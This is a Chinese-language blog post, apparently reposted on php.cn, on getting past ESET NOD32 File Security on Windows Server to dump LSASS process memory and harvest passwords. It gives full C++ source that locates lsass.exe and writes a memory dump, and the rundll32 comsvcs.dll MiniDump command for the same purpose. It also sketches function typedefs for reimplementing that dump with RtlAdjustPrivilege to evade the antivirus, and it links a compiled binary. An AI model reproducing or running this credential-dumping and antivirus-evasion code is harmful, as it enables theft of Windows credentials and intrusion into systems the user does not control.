让我们探讨一下如何绕过eset_nod32来抓取密码。这里提到的eset_nod32是指eset_nod32 file security for microsoft windows server。我们的测试版本是试用版，但这并不影响测试效果。
目前，许多dump方法使用的是MiniDumpWriteDump这个API来进行进程内存的dump。以下是一个示例代码：
#include <windows.h>
#include <dbghelp.h>
#include <iostream>
#include <tlhelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << L"找到lsass.exe，PID为：" << lsassPID << endl;
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPID);
if (lsassHandle != NULL) {
if (MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL)) {
wcout << L"成功创建dump文件：lsass.dmp" << endl;
} else {
wcout << L"创建dump文件失败，错误码：" << GetLastError() << endl;
}
CloseHandle(lsassHandle);
} else {
wcout << L"无法打开lsass.exe进程，错误码：" << GetLastError() << endl;
}
} else {
wcout << L"无法创建进程快照，错误码：" << GetLastError() << endl;
}
CloseHandle(outFile);
CloseHandle(snapshot);
return 0;
}编译好的版本可以从我的GitHub下载：https://www.php.cn/link/5c51774e43c9db3aa687f23c27956104
然而，ESET_NOD32对这种方法的反应是无情的删除，因为这种API已经被严重拦截。我们需要使用另一种方法来绕过它。首先，我们来看一个白名单文件comsvcs.dll，使用它进行dump的方法如下：
rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"
这里的1234是lsass的PID进程号，注意这需要管理员权限，而这种行为属于敏感行为。因此，我们需要自己实现comsvcs.dll的MiniDump功能。
提升权限可以使用RtlAdjustPrivilege函数，这个函数在NtDll.dll中封装。MSDN没有专门的文档介绍它，但在微软官方的WRK（Windows研究内核）中可以找到其源代码。函数定义如下：
NTSTATUS RtlAdjustPrivilege(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled)
实现这些函数的示例代码如下：
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline); typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);
通过这种方法，我们成功绕过了ESET_NOD32并dump了进程。
